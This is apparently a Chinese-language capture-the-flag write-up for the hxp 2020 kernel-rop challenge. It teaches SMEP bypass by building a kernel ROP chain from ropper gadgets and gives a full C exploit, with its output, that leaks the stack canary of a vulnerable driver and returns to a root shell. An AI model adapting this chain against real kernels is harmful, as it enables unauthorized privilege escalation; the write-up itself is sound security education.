0002-TIPS-2020-hxp-kernel-rop : bypass-smep-with-rop

使用的开始上一节中的pwn题

SMEP (Supervisor Mode Execution Prevention)

SMEP安全机制:禁止在执行内核空间代码时突然执行用户空间代码。类似 NX。
在没有开启SMEP的情况下,攻击者将rip或者函数指针指向了用户空间,可在用户空间布局shellcode,从而提权。
但是,在开启SMEP后,内核执行用户空间的shellcode,将导致崩溃

char *shellcode = mmap(用户空间特定地址 & 0xfffffffffffff000ul, 0x1000, PROT_READ|PROT_WRITE|PROT_EXECUTE, 
					   MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);  

memcpy(shellcode, SHELLCODE, sizeof(SHELLCODE));  

control_rip(shellcode); // RIP = shellcode

SMEP 是一种硬件安全机制。通过设置 CR4 寄存器的第 21 位启用 SMEP。

可以在qemu运行参数启用SMEP

-cpu kvm64,+smep

在进入内核后,可以通过查看 /proc/cpuinfo 确认是否启用了SMEP

cat /proc/cpuinfo | grep smep

将上一节中的启动脚本修改为如下形式

#!/bin/sh
qemu-system-x86_64 \
    -m 1024M \
    -cpu kvm64,+smep \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 nopti nokaslr quiet panic=1"

ROP

ROP(Return-Oriented Programming, 返回导向编程)
通俗理解,就是通过栈溢出的漏洞,覆盖return address,从而达让直行程序反复横跳的一种技术。
参考这篇文章:https://blog.csdn.net/qq_31343581/article/details/119996405

一般来说,理解如下指令(观察栈的变化和rip的变化),就能快速理解rop

  • ret指令
  • call指令
  • 函数的首地址
  • pop/push指令
  • pop/push指令 + ret
  • 一般性指令 + ret

在该题目中,通过内核栈溢出,将rop提权指令写入到内核栈中,使得提权代码在内核空间运行,从而绕过smep。

拼接ROP指令

从上一节中我们先覆盖的是canary,然后再覆盖返回地址,进而跳转到提权代码处,提权代码大致流程是

1commit_creds(prepare_kernel_cred (0));2】swapgs
【3】ss/sp/rflags/cs/rip
【4】iretq

现在需要从内核文件中,找出相关的汇编语句拼接出如上的提权语句

准备ROP

通过 vmlinux-to-elf 将 压缩有的内核文件vmlinuz转换为未压缩的elf格式文件vmlinux_original

vmlinux-to-elf vmlinuz vmlinux_original

通过ropper提取出vmlinux_original中的rop汇编语句

# 安装ropper
pip3 install ropper
ropper --file ./vmlinux_original  --nocolor > rop.txt

构造 【1】commit_creds(prepare_kernel_cred (0));

首先需要知道,在x64汇编中

  • 通过rdi,rsi,rdx,rcx,r8,r9来保存函数的第1~第6个参数
  • 函数的返回值存储在rax中

那就可以将【1】commit_creds(prepare_kernel_cred (0));拆解为

1-1】将0存储到rdi中
【1-2】调用prepare_kernel_cred,此时prepare_kernel_cred (0)的结果存储在rax中
【1-3】将rax中的内容复制到rdi中
【1-4】调用commit_creds

【1-1】将0存储到rdi中

rop是灵活的,没有固定的公式;只要拼接的rop链合乎语义就行
可以使用

pop rdi ; ret;
0

或者使用

xor rdi, rdi ; ret;

再或者

pop rax ; pop rcx ; pop rdi ;ret
0
0
0

【1-2】调用prepare_kernel_cred,此时prepare_kernel_cred (0)的结果存储在rax中

pop rdi ; ret;
0
prepare_kernel_cred的地址

【1-3】将rax中的内容复制到rdi中

pop rdi ; ret;
0
prepare_kernel_cred的首地址
mov rdi, rax ; ret;

【1-4】调用commit_creds

pop rdi ; ret;
0
prepare_kernel_cred的首地址
mov rdi, rax ; ret;
commit_creds的首地址

拼凑

获取 pop rdi; ret;

root@555bcb073c53:~/kernel-rop# cat rop.txt | grep ": pop rdi; ret;"
0xffffffff81006370: pop rdi; ret;

现在rop为

0xffffffff81006370 #pop rdi; ret;
0

获取commit_creds的地址

/ # cat /proc/kallsyms | grep "prepare_kernel_cred"
ffffffff814c67f0 T prepare_kernel_cred

现在rop为

0xffffffff81006370 #pop rdi; ret;
0
0xffffffff814c67f0 # prepare_kernel_cred

获取mov rdi, rax语句,将commit_creds的结果转换为prepare_kernel_cred的参数

~/kernel-rop# cat rop.txt | grep ": mov rdi, rax; " | grep -v "call" | grep -v "j"
0xffffffff818f8495: mov rdi, rax; mov qword ptr [rdi], 1; pop rbp; ret;
0xffffffff816bf203: mov rdi, rax; mov qword ptr [rsi + 0x140], rdi; pop rbp; ret;
0xffffffff8100aedf: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; pop rbp; ret;

为了在mov rdi, rax执行之后,不再影响rdi的值,这里选取0xffffffff816bf203,又由于0xffffffff816bf203中存在pop rbp这个语句,还需要在rop中填充内容,将这个pop无害化掉
现在rop为

0xffffffff81006370 #pop rdi; ret;
0
0xffffffff814c67f0 # prepare_kernel_cred
0xffffffff816bf203 # mov rdi, rax; mov qword ptr [rsi + 0x140], rdi; pop rbp; ret;
0

获取prepare_kernel_cred的地址

# cat /proc/kallsyms | grep "commit_creds"
ffffffff814c6410 T commit_creds

现在rop为

0xffffffff81006370 #pop rdi; ret;
0
0xffffffff814c67f0 # prepare_kernel_cred
0xffffffff816bf203 # mov rdi, rax; mov qword ptr [rsi + 0x140], rdi; pop rbp; ret;
0
0xffffffff814c6410 # commit_creds

构造 【2】swapgs

~/kernel-rop# cat rop.txt | grep ": swapgs"
0xffffffff8100a55f: swapgs; pop rbp; ret;
0xffffffff8100a557: swapgs; rdgsbase rax; swapgs; pop rbp; ret;
0xffffffff8100a590: swapgs; wrgsbase rdi; swapgs; pop rbp; ret;

这里选取0xffffffff8100a55f,又由于存在pop rbp这个语句,还需要在rop中填充内容,将这个pop无害化掉
现在rop为

0xffffffff81006370 #pop rdi; ret;
0
0xffffffff814c67f0 # prepare_kernel_cred
0xffffffff816bf203 # mov rdi, rax; mov qword ptr [rsi + 0x140], rdi; pop rbp; ret;
0
0xffffffff814c6410 # commit_creds
0xffffffff8100a55f # swapgs; pop rbp; ret;
0

构造【3】ss/sp/rflags/cs/rip【4】iretq

由于rop本身就是在内核栈中,ss/sp/rflags/cs/rip可以直接填写在内核栈中
这里需要先将iretq放入rop中,且ss/sp/rflags/cs/rip需要紧紧挨着iretq

  • 因为iretq本身就是返回指令,无论其后跟了多少pop指令,这些指令都不执行
  • iretq执行完毕后,栈顶就是需要按顺序弹出的rip/cs/rflags/sp/ss
:~/kernel-rop# cat rop.txt | grep ": iretq"
0xffffffff8229cffc: iretq; add byte ptr [r11], al; call 0x149cd04; xor eax, eax; pop rbp; ret;
0xffffffff819c68b6: iretq; add byte ptr [rax - 0x77], cl; adc ebx, dword ptr [rbx + 0x41]; pop rsp; pop rbp; ret;
0xffffffff814390cf: iretq; add rsp, 0x10; pop rbx; pop r12; pop rbp; ret;
0xffffffff81677f71: iretq; cwde; call qword ptr [rbp + 0x48];
0xffffffff8225e3af: iretq; dec dword ptr [rax + 1]; ret 0xd689;
0xffffffff814381cb: iretq; pop rbp; ret;
0xffffffff815e56c4: iretq; sub eax, 0x89c08500; ret 0x880f;
0xffffffff81bb3cb3: iretq; test bh, bh; pop rbx; pop rbp; ret;
0xffffffff81f76df0: iretq; xchg eax, edi; call qword ptr [rbp - 0x31];
0xffffffff81b838ad: iretq; xlatb; dec dword ptr [rax - 0x68]; pop rbp; ret;

这里选择0xffffffff819c68b6这条最长的iretq指令作为rop,来验证iretq后面跟什么内容都无所谓

0xffffffff81006370 #pop rdi; ret;
0
0xffffffff814c67f0 # prepare_kernel_cred
0xffffffff816bf203 # mov rdi, rax; mov qword ptr [rsi + 0x140], rdi; pop rbp; ret;
0
0xffffffff814c6410 # commit_creds
0xffffffff8100a55f # swapgs; pop rbp; ret;
0
0xffffffff819c68b6 #iretq; add byte ptr [rax - 0x77], cl; adc ebx, dword ptr [rbx + 0x41]; pop rsp; pop rbp; ret;
user_rip
user_sp
user_rflags
user_sp
user_ss

最终EXP

#include 
#include 
#include 
#include 
#include 

char *VULN_DRV = "/dev/hackme";
void spawn_shell();

int64_t global_fd = 0;
uint64_t cookie = 0;
uint8_t cookie_off = 16;

uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t user_rip = (uint64_t) spawn_shell;
uint64_t pop_rdi_ret = 0xffffffff81006370;
uint64_t mov_rdi_rax_and_pop1_ret = 0xffffffff816bf203;
uint64_t swapgs_pop1_ret = 0xffffffff8100a55f;
uint64_t iretq = 0xffffffff819c68b6;


void open_dev() {
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
        printf("[!] failed to open %s\n", VULN_DRV);
        exit(-1);
    } else {
        printf("[+] successfully opened %s\n", VULN_DRV);
    }
}


void leak_cookie() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[cookie_off];
    printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off);
	if(!cookie) {
    	puts("[-] failed to leak stack canary!");
    	exit(-1);
    }
}


void spawn_shell() {
    puts("[+] returned to user land");
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] got root (uid = %d)\n", uid);
    } else {
        printf("[!] failed to get root (uid: %d)\n", uid);
        exit(-1);
    }
    puts("[*] spawning shell");
    system("/bin/sh");
    exit(0);
}


void save_userland_state() {
    puts("[*] saving user land state");
    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax");
}


void overwrite_ret() {
    puts("[*] trying to overwrite return address with ROP chain");
    uint8_t sz = 50;
    uint64_t payload[sz];
    payload[cookie_off++] = cookie;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = pop_rdi_ret; // return address
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = prepare_kernel_cred;
    payload[cookie_off++] = mov_rdi_rax_and_pop1_ret;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = commit_creds;
    payload[cookie_off++] = swapgs_pop1_ret;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = iretq;
    payload[cookie_off++] = user_rip;
    payload[cookie_off++] = user_cs;
    payload[cookie_off++] = user_rflags;
    payload[cookie_off++] = user_sp;
    payload[cookie_off++] = user_ss;

    uint64_t data = write(global_fd, payload, sizeof(payload));

    puts("[-] if you can read this we failed the mission :(");
}


int main(int argc, char **argv) {
    open_dev();
    leak_cookie();
    save_userland_state();
    overwrite_ret();

    return 0;
}

效果

/ $ ./04_exploit_bypass_smep
[+] successfully opened /dev/hackme
[*] trying to leak up to 320 bytes memory
[+] found stack canary: 0x72ad2e60ba25b400 @ index 16
[*] saving user land state
[*] trying to overwrite return address with ROP chain
[+] returned to user land
[+] got root (uid = 0)
[*] spawning shell
/ #

一个小问题

在该题中,如果启动脚本如下,没有显示禁用KPTI,运行exp会报错
启动脚本如下

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,+smap \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 nokaslr kpti=1 quiet panic=1"

报错如下

/ $ ./04_exploit_bypass_smep
[+] successfully opened /dev/hackme
[*] trying to leak up to 320 bytes memory
[+] found stack canary: 0xb1b7bdeffa2b1200 @ index 16
[*] saving user land state
[*] trying to overwrite return address with ROP chain
Segmentation fault

因为该内核默认编译启用了KPTI,可以通过如下命令查看

/ # cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected
Not affected

如果查看不了,需要在文件系统的启动脚本中挂载sysfs
/etc/init.d/rcS中添加如下内容

mkdir -p /sys  && mount -t sysfs sysfs /sys

因此需要将启动脚本中添加nopti

-append "console=ttyS0 nopti nokaslr quiet panic=1"

你可能感兴趣的:(pwn_cve_kernel,kernel,pwn)